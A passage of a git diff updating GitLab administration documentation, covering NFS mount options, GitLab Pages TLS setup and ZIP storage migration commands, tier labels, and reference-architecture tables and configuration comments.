-10.1.0.1:/var/opt/gitlab/.ssh /var/opt/gitlab/.ssh nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2
-10.1.0.1:/var/opt/gitlab/gitlab-rails/uploads /var/opt/gitlab/gitlab-rails/uploads nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2
-10.1.0.1:/var/opt/gitlab/gitlab-rails/shared /var/opt/gitlab/gitlab-rails/shared nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2
-10.1.0.1:/var/opt/gitlab/gitlab-ci/builds /var/opt/gitlab/gitlab-ci/builds nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2
-10.1.0.1:/var/opt/gitlab/git-data /var/opt/gitlab/git-data nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2
+10.1.0.1:/var/opt/gitlab/.ssh /var/opt/gitlab/.ssh nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2
+10.1.0.1:/var/opt/gitlab/gitlab-rails/uploads /var/opt/gitlab/gitlab-rails/uploads nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2
+10.1.0.1:/var/opt/gitlab/gitlab-rails/shared /var/opt/gitlab/gitlab-rails/shared nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2
+10.1.0.1:/var/opt/gitlab/gitlab-ci/builds /var/opt/gitlab/gitlab-ci/builds nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2
+10.1.0.1:/var/opt/gitlab/git-data /var/opt/gitlab/git-data nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2
```
You can view information and options set for each of the mounted NFS file
@@ -187,6 +189,8 @@ Note there are several options that you should consider using:
| `nofail` | Don't halt boot process waiting for this mount to become available
| `lookupcache=positive` | Tells the NFS client to honor `positive` cache results but invalidates any `negative` cache results. Negative cache results cause problems with Git. Specifically, a `git push` can fail to register uniformly across all NFS clients. The negative cache causes the clients to 'remember' that the files did not exist previously.
| `hard` | Instead of `soft`. [Further details](#soft-mount-option).
+| `cto` | `cto` is the default option, which you should use. Do not use `nocto`. [Further details](#nocto-mount-option).
+| `_netdev` | Wait to mount filesystem until network is online. See also the [`high_availability['mountpoint']`](https://docs.gitlab.com/omnibus/settings/configuration.html#only-start-omnibus-gitlab-services-after-a-given-file-system-is-mounted) option.
#### `soft` mount option
@@ -223,6 +227,25 @@ the mount point. Use `SIGKILL` (`kill -9`) to deal with hung processes.
The `intr` option
[stopped working in the 2.6 kernel](https://access.redhat.com/solutions/157873).
+#### `nocto` mount option
+
+Do not use `nocto`. Instead, use `cto`, which is the default.
+
+When using `nocto`, the dentry cache is always used, up to `acdirmax` seconds (attribute cache time) from the time it's created.
+
+This results in stale dentry cache issues with multiple clients, where each client can see a different (cached)
+version of a directory.
+
+From the [Linux man page](https://linux.die.net/man/5/nfs), the important parts:
+
+> If the nocto option is specified, the client uses a non-standard heuristic to determine when files on the server have changed.
+>
+> Using the nocto option may improve performance for read-only mounts, but should be used only if the data on the server changes only occasionally.
+
+We have noticed this behavior in an issue about [refs not found after a push](https://gitlab.com/gitlab-org/gitlab/-/issues/326066),
+where newly added loose refs can be seen as missing on a different client with a local dentry cache, as
+[described in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326066#note_539436931).
+
### A single NFS mount
It's recommended to nest all GitLab data directories within a mount, that allows automatic
@@ -346,12 +369,18 @@ sudo ufw allow from <client_ip_address> to any port nfs
### Upgrade to Gitaly Cluster or disable caching if experiencing data loss
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0,
-support for NFS for Git repositories is scheduled to be removed. Upgrade to
-[Gitaly Cluster](gitaly/praefect.md) as soon as possible.
+From GitLab 13.0, using NFS for Git repositories is deprecated.
+As of GitLab 14.0, NFS-related issues with Gitaly will no longer be addressed. Read
+more about [Gitaly and NFS deprecation](gitaly/index.md#nfs-deprecation-notice).
Customers and users have reported data loss on high-traffic repositories when using NFS for Git repositories.
-For example, we have seen [inconsistent updates after a push](https://gitlab.com/gitlab-org/gitaly/-/issues/2589). The problem may be partially mitigated by adjusting caching using the following NFS client mount options:
+For example, we have seen:
+
+- [Inconsistent updates after a push](https://gitlab.com/gitlab-org/gitaly/-/issues/2589).
+- `git ls-remote` [returning the wrong (or no branches)](https://gitlab.com/gitlab-org/gitaly/-/issues/3083)
+causing Jenkins to intermittently re-run all pipelines for a repository.
+
+The problem may be partially mitigated by adjusting caching using the following NFS client mount options:
| Setting | Description |
| ------- | ----------- |
@@ -362,7 +391,7 @@ For example, we have seen [inconsistent updates after a push](https://gitlab.com
WARNING:
The `actimeo=0` and `noac` options both result in a significant reduction in performance, possibly leading to timeouts.
You may be able to avoid timeouts and data loss using `actimeo=0` and `lookupcache=positive` _without_ `noac`, however
-we expect the performance reduction will still be significant. As noted above, we strongly recommend upgrading to
+we expect the performance reduction will still be significant. Upgrade to
[Gitaly Cluster](gitaly/praefect.md) as soon as possible.
### Avoid using cloud-based file systems
diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md
index d07afb3bb14..88e3369e25e 100644
--- a/doc/administration/operations/extra_sidekiq_processes.md
+++ b/doc/administration/operations/extra_sidekiq_processes.md
@@ -75,7 +75,7 @@ To start multiple processes:
When `sidekiq-cluster` is only running on a single node, make sure that at least
one process is running on all queues using `*`. This means a process will
- automatically pick up jobs in queues created in the future.
+ This includes queues that have dedicated processes.
If `sidekiq-cluster` is running on more than one node, you can also use
[`--negate`](#negate-settings) and list all the queues that are already being
diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md
index fc39d8e2074..fba20da9aea 100644
--- a/doc/administration/operations/moving_repositories.md
+++ b/doc/administration/operations/moving_repositories.md
@@ -28,7 +28,7 @@ For more information, see:
querying and scheduling snippet repository moves.
- [The API documentation](../../api/group_repository_storage_moves.md) details the endpoints for
querying and scheduling group repository moves **(PREMIUM SELF)**.
-- [Migrate existing repositories to Gitaly Cluster](../gitaly/praefect.md#migrate-existing-repositories-to-gitaly-cluster).
+- [Migrate to Gitaly Cluster](../gitaly/praefect.md#migrate-to-gitaly-cluster).
## Migrating to another GitLab instance
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index 2f6b6a2f629..853a1884821 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -4,11 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Container Registry administration
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4040) in GitLab 8.8.
-> - Container Registry manifest `v1` support was added in GitLab 8.9 to support
-> Docker versions earlier than 1.10.
+# GitLab Container Registry administration **(FREE SELF)**
With the GitLab Container Registry, every project can have its
own space to store Docker images.
@@ -832,8 +828,6 @@ no longer directly accessible via the `:latest` tag.
### Recycling unused tags
-> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/987) in Omnibus GitLab 8.12.
-
Before you run the built-in command, note the following:
- The built-in command stops the registry before it starts the garbage collection.
@@ -910,8 +904,6 @@ When the command is used without the `-m` flag, the Container Registry only remo
### Performing garbage collection without downtime
-> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/764) in GitLab 8.8.
-
You can perform garbage collection without stopping the Container Registry by putting
it in read-only mode and by not using the built-in command. On large instances
this could require Container Registry to be in read-only mode for a while.
diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md
index 720734bf344..b454728cc8b 100644
--- a/doc/administration/packages/dependency_proxy.md
+++ b/doc/administration/packages/dependency_proxy.md
@@ -4,7 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Dependency Proxy administration
+# GitLab Dependency Proxy administration **(FREE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7934) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.11.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Free](https://about.gitlab.com/pricing/) in GitLab 13.6.
diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md
index 012afd6a419..5ddf47d9b33 100644
--- a/doc/administration/packages/index.md
+++ b/doc/administration/packages/index.md
@@ -4,7 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Package Registry administration
+# GitLab Package Registry administration **(FREE SELF)**
GitLab Packages allows organizations to use GitLab as a private repository
for a variety of common package managers. Users are able to build and publish
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index 058445f00be..d04688dab7a 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -171,7 +171,7 @@ URL scheme: `https://<namespace>.example.io/<project_slug>`
NGINX proxies all requests to the daemon. Pages daemon doesn't listen to the
outside world.
-1. Place the certificate and key inside `/etc/gitlab/ssl`
+1. Place the `example.io` certificate and key inside `/etc/gitlab/ssl`.
1. In `/etc/gitlab/gitlab.rb` specify the following configuration:
```ruby
@@ -180,7 +180,7 @@ outside world.
pages_nginx['redirect_http_to_https'] = true
```
-1. If you haven’t named your certificate and key `example.io.crt` and `example.io.key`
+1. If you haven't named your certificate and key `example.io.crt` and `example.io.key`
then you'll need to also add the full paths as shown below:
```ruby
@@ -189,6 +189,9 @@ then you'll need to also add the full paths as shown below:
```
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages
+[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+to use the HTTPS protocol.
WARNING:
Multiple wildcards for one instance is not supported. Only one wildcard per instance can be assigned.
@@ -303,7 +306,7 @@ In that case, the Pages daemon is running, NGINX still proxies requests to
the daemon but the daemon is also able to receive requests from the outside
world. Custom domains are supported, but no TLS.
-1. Edit `/etc/gitlab/gitlab.rb`:
+1. In `/etc/gitlab/gitlab.rb` specify the following configuration:
```ruby
pages_external_url "http://example.io"
@@ -334,23 +337,35 @@ In that case, the Pages daemon is running, NGINX still proxies requests to
the daemon but the daemon is also able to receive requests from the outside
world. Custom domains and TLS are supported.
-1. Edit `/etc/gitlab/gitlab.rb`:
+1. Place the `example.io` certificate and key inside `/etc/gitlab/ssl`.
+1. In `/etc/gitlab/gitlab.rb` specify the following configuration:
```ruby
pages_external_url "https://example.io"
nginx['listen_addresses'] = ['192.0.2.1']
pages_nginx['enable'] = false
- gitlab_pages['cert'] = "/etc/gitlab/ssl/example.io.crt"
- gitlab_pages['cert_key'] = "/etc/gitlab/ssl/example.io.key"
gitlab_pages['external_http'] = ['192.0.2.2:80', '[2001:db8::2]:80']
gitlab_pages['external_https'] = ['192.0.2.2:443', '[2001:db8::2]:443']
+ # Redirect pages from HTTP to HTTPS
+ gitlab_pages['redirect_http'] = true
```
where `192.0.2.1` is the primary IP address that GitLab is listening to and
`192.0.2.2` and `2001:db8::2` are the secondary IPs where the GitLab Pages daemon
listens on. If you don't have IPv6, you can omit the IPv6 address.
+1. If you haven't named your certificate and key `example.io.crt` and `example.io.key` respectively,
+then you'll need to also add the full paths as shown below:
+
+ ```ruby
+ gitlab_pages['cert'] = "/etc/gitlab/ssl/example.io.crt"
+ gitlab_pages['cert_key'] = "/etc/gitlab/ssl/example.io.key"
+ ```
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages
+[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+to use the HTTPS protocol.
### Custom domain verification
@@ -472,7 +487,7 @@ internet connectivity is gated by a proxy. To use a proxy for GitLab Pages:
### Using a custom Certificate Authority (CA)
When using certificates issued by a custom CA, [Access Control](../../user/project/pages/pages_access_control.md#gitlab-pages-access-control) and
-the [online view of HTML job artifacts](../../ci/pipelines/job_artifacts.md#browsing-artifacts)
+the [online view of HTML job artifacts](../../ci/pipelines/job_artifacts.md#download-job-artifacts)
fails to work if the custom CA is not recognized.
This usually results in this error:
@@ -600,8 +615,9 @@ the below steps to do a no downtime transfer to a new storage location.
## Configure listener for reverse proxy requests
-Follow the steps below to configure the proxy listener of GitLab Pages. [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in
-Omnibus GitLab 11.1.
+> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in Omnibus GitLab 11.1.
+
+Follow the steps below to configure the proxy listener of GitLab Pages.
1. By default the listener is configured to listen for requests on `localhost:8090`.
@@ -631,6 +647,9 @@ The default is 100MB.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16610) in GitLab 12.7.
+NOTE:
+Only GitLab admin users will be able to view and override the **Maximum size of Pages** setting.
+
To override the global maximum pages size for a specific project:
1. Go to your project's **Settings > Pages** page.
@@ -752,7 +771,7 @@ The default value for Omnibus installations is `nil`.
If left unchanged, GitLab Pages tries to use any available source (either `gitlab` or `disk`). The
preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-based-configuration).
-On large GitLab instances, using the API-based configuration will significantly improve the pages daemon startup time, as there is no need to load all custom domains configuration into memory.
+On large GitLab instances, using the API-based configuration will significantly improve the pages daemon startup time, as there is no need to load all custom domains configuration into memory.
For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/).
@@ -815,7 +834,7 @@ or persistent errors, or the Pages Daemon serving old content.
NOTE:
Expiry, interval and timeout flags use [Golang's duration formatting](https://golang.org/pkg/time/#ParseDuration).
A duration string is a possibly signed sequence of decimal numbers,
-each with optional fraction and a unit suffix, such as "300ms", "1.5h" or "2h45m".
+each with optional fraction and a unit suffix, such as "300ms", "1.5h" or "2h45m".
Valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h".
Examples:
@@ -919,6 +938,89 @@ In installations from source:
1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source)
for the changes to take effect.
+## ZIP storage
+
+In GitLab 14.0 the underlaying storage format of GitLab Pages is changing from
+files stored directly in disk to a single ZIP archive per project.
+
+These ZIP archives can be stored either locally on disk storage or on the [object storage](#using-object-storage) if it is configured.
+
+[Starting from GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/245308) ZIP archives are stored every time pages site is updated.
+
+### Migrate legacy storage to ZIP storage
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59003) in GitLab 13.11.
+
+GitLab will [try to automatically migrate](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54578) the old storage format to the new ZIP-based one when you upgrade to GitLab 13.11 or further.
+However, some projects may fail to be migrated for different reasons.
+To verify that all projects have been migrated successfully, you can manually run the migration:
+
+```shell
+gitlab-rake gitlab:pages:migrate_legacy_storage
+```
+
+It's safe to interrupt this task and run it multiple times.
+
+There are two most common problems this task can report:
+
+- `Missing public directory` error:
+
+ ```txt
+ E, [2021-04-09T13:11:52.534768 #911919] ERROR -- : project_id: 1 /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test failed to be migrated in 0.07 seconds: Archive not created. Missing public directory in /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test
+ ```
+
+ In this case, you should verify that these projects don't have pages deployed, and re-run the migration with an additional flag to mark those projects as not deployed with GitLab Pages:
+
+ ```shell
+ sudo PAGES_MIGRATION_MARK_PROJECTS_AS_NOT_DEPLOYED=true gitlab-rake gitlab:pages:migrate_legacy_storage
+ ```
+
+- File `is invalid` error:
+
+ ```txt
+ E, [2021-04-09T14:43:05.821767 #923322] ERROR -- : project_id: 1 /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test failed to be migrated: /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test/public/link is invalid, input_dir: /home/vlad/gdk/gitlab/shared/pages/gitlab-org/gitlab-test
+ ```
+
+ This error indicates invalid files on disk storage, most commonly symlinks leading outside of the `public` directory.
+ You can manually remove these files, or just ignore them during migration:
+
+ ```shell
+ sudo PAGES_MIGRATION_IGNORE_INVALID_ENTRIES=true gitlab-rake gitlab:pages:migrate_legacy_storage
+ ```
+
+### Rolling back ZIP migration
+
+If you find that migrated data is invalid, you can remove all migrated data by running:
+
+```shell
+sudo gitlab-rake gitlab:pages:clean_migrated_zip_storage
+```
+
+This will not remove any data from the legacy disk storage and the GitLab Pages daemon will automatically fallback
+to using that.
+
+### Migrate Pages deployments to object storage
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/325285) in GitLab 13.11
+
+Existing Pages deployments objects (which store [ZIP archives](#zip-storage)) can similarly be
+migrated to [object storage](#using-object-storage), if
+you've been having them stored locally.
+
+Migrate your existing Pages deployments from local storage to object storage:
+
+```shell
+sudo gitlab-rails gitlab:pages:deployments:migrate_to_object_storage
+```
+
+### Rolling Pages deployments back to local storage
+
+After the migration to object storage is performed, you can choose to revert your Pages deployments back to local storage:
+
+```shell
+sudo gitlab-rails gitlab:pages:deployments:migrate_to_local
+```
+
## Backup
GitLab Pages are part of the [regular backup](../../raketasks/backup_restore.md), so there is no separate backup to configure.
@@ -1096,6 +1198,8 @@ If the wildcard DNS [prerequisite](#prerequisites) can't be met, you can still u
1. [Move](../../user/project/settings/index.md#transferring-an-existing-project-into-another-namespace)
all projects you need to use Pages with into a single group namespace, for example `pages`.
1. Configure a [DNS entry](#dns-configuration) without the `*.`-wildcard, for example `pages.example.io`.
+1. Configure `pages_external_url http://example.io/` in your `gitlab.rb` file.
+ Omit the group namespace here, because it will automatically be prepended by GitLab.
### Pages daemon fails with permission denied errors
@@ -1114,3 +1218,8 @@ gitlab_pages['env'] = {'TMPDIR' => '<new_tmp_path>'}
Once added, reconfigure with `sudo gitlab-ctl reconfigure` and restart GitLab with
`sudo gitlab-ctl restart`.
+
+### `The redirect URI included is not valid.` when using Pages Access Control
+
+Verify that the **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+is using the protocol (HTTP or HTTPS) that `pages_external_url` is configured to use.
diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md
index d1a8b703860..e1b54e11a1f 100644
--- a/doc/administration/pages/source.md
+++ b/doc/administration/pages/source.md
@@ -407,7 +407,7 @@ Pages access control is disabled by default. To enable it:
```
1. [Restart GitLab](../restart_gitlab.md#installations-from-source).
-1. Create a new [system OAuth application](../../integration/oauth_provider.md#add-an-application-through-the-profile).
+1. Create a new [system OAuth application](../../integration/oauth_provider.md#user-owned-applications).
This should be called `GitLab Pages` and have a `Redirect URL` of
`https://projects.example.io/auth`. It does not need to be a "trusted"
application, but it does need the `api` scope.
diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md
index a9a38ce1beb..7e25bd69539 100644
--- a/doc/administration/postgresql/replication_and_failover.md
+++ b/doc/administration/postgresql/replication_and_failover.md
@@ -6,8 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM SELF)**
-This document focuses on configuration supported with [GitLab Premium](https://about.gitlab.com/pricing/), using the Omnibus GitLab package.
-If you're a Community Edition or Starter user, consider using a cloud hosted solution.
+If you're a Free user of GitLab self-managed, consider using a cloud-hosted solution.
This document doesn't cover installations from source.
If a setup with replication and failover isn't what you were looking for, see
diff --git a/doc/administration/redis/index.md b/doc/administration/redis/index.md
index 30618075c8f..23d13491c75 100644
--- a/doc/administration/redis/index.md
+++ b/doc/administration/redis/index.md
@@ -5,7 +5,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Configuring Redis for scaling
+# Configuring Redis for scaling **(FREE SELF)**
Based on your infrastructure setup and how you have installed GitLab, there are
multiple ways to configure Redis.
diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md
index 1b2e93cccd9..2716d9bba37 100644
--- a/doc/administration/redis/replication_and_failover_external.md
+++ b/doc/administration/redis/replication_and_failover_external.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Redis replication and failover providing your own instance **(FREE SELF)**
-If you’re hosting GitLab on a cloud provider, you can optionally use a managed
+If you're hosting GitLab on a cloud provider, you can optionally use a managed
service for Redis. For example, AWS offers ElastiCache that runs Redis.
Alternatively, you may opt to manage your own Redis instance separate from the
diff --git a/doc/administration/redis/troubleshooting.md b/doc/administration/redis/troubleshooting.md
index 144660c50ea..0c1046ca22d 100644
--- a/doc/administration/redis/troubleshooting.md
+++ b/doc/administration/redis/troubleshooting.md
@@ -5,7 +5,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Troubleshooting Redis
+# Troubleshooting Redis **(FREE SELF)**
There are a lot of moving parts that needs to be taken care carefully
in order for the HA setup to work as expected.
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index a51641f661f..97af1fe8d3c 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -15,25 +15,31 @@ full list of reference architectures, see
> - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA)
> - **Test requests per second (RPS) rates:** API: 200 RPS, Web: 20 RPS, Git (Pull): 20 RPS, Git (Push): 4 RPS
-| Service | Nodes | Configuration | GCP | AWS | Azure |
-|--------------------------------------------|-------------|-------------------------|-----------------|-------------|----------|
-| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Consul | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| PostgreSQL | 3 | 8 vCPU, 30 GB memory | n1-standard-8 | m5.2xlarge | D8s v3 |
-| PgBouncer | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
-| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
-| Gitaly | 3 | 16 vCPU, 60 GB memory | n1-standard-16 | m5.4xlarge | D16s v3 |
-| Praefect | 3 | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Praefect PostgreSQL | 1+* | 2 vCPU, 1.8 GB memory | n1-highcpu-2 | c5.large | F2s v2 |
-| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 |
-| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
-| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 |
+| Service | Nodes | Configuration | GCP | AWS | Azure |
+|--------------------------------------------|-------------|-------------------------|------------------|--------------|-----------|
+| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` |
+| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| Redis Sentinel - Cache** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` | `t3.small` | `B1MS` |
+| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 1.7 GB memory | `g1-small` | `t3.small` | `B1MS` |
+| Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | `m5.4xlarge` | `D16s v3` |
+| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| GitLab Rails | 3 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` |
+| Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+| Object storage | n/a | n/a | n/a | n/a | n/a |
+| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+
+NOTE:
+Components marked with * can be optionally run on reputable
+third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
+Components marked with ** can be optionally run on reputable
+third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
```plantuml
@startuml 10k
@@ -210,11 +216,12 @@ The following list includes descriptions of each server and its assigned IP:
## Configure the external load balancer
-In an active/active GitLab configuration, you'll need a load balancer to route
+In a multi-node GitLab configuration, you'll need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
-or its exact configuration is beyond the scope of GitLab documentation. We hope
+or its exact configuration is beyond the scope of GitLab documentation. We assume
that if you're managing multi-node systems like GitLab, you already have a load
-balancer of choice. Some load balancer examples include HAProxy (open-source),
+balancer of choice and that the routing methods used are distributing calls evenly
+between all nodes. Some load balancer examples include HAProxy (open-source),
F5 Big-IP LTM, and Citrix Net Scaler. This documentation outline the ports and
protocols needed for use with GitLab.
@@ -387,6 +394,8 @@ backend praefect
```
Refer to your preferred Load Balancer's documentation for further guidance.
+Also ensure that the routing methods used are distributing calls evenly across
+all nodes.
<div align="right">
<a type="button" class="btn btn-default" href="#setup-components">
@@ -433,7 +442,7 @@ To configure Consul:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -557,7 +566,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
- # Disable automatic database migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
@@ -853,7 +862,7 @@ a node and change its status from primary to replica (and vice versa).
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Prevent database migrations from running on upgrade
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -920,7 +929,7 @@ You can specify multiple roles, like sentinel and Redis, as:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Prevent database migrations from running on upgrade
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1052,7 +1061,7 @@ To configure the Sentinel Cache server:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1117,13 +1126,8 @@ a node and change its status from primary to replica (and vice versa).
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- ```
-1. Only the primary GitLab application server should handle migrations. To
- prevent database migrations from running on upgrade, add the following
- configuration to your `/etc/gitlab/gitlab.rb` file:
-
- ```ruby
+ # Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
@@ -1184,7 +1188,7 @@ You can specify multiple roles, like sentinel and Redis, as:
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
- # Disable auto migrations
+ # Prevent database migrations from running on upgrade automatically
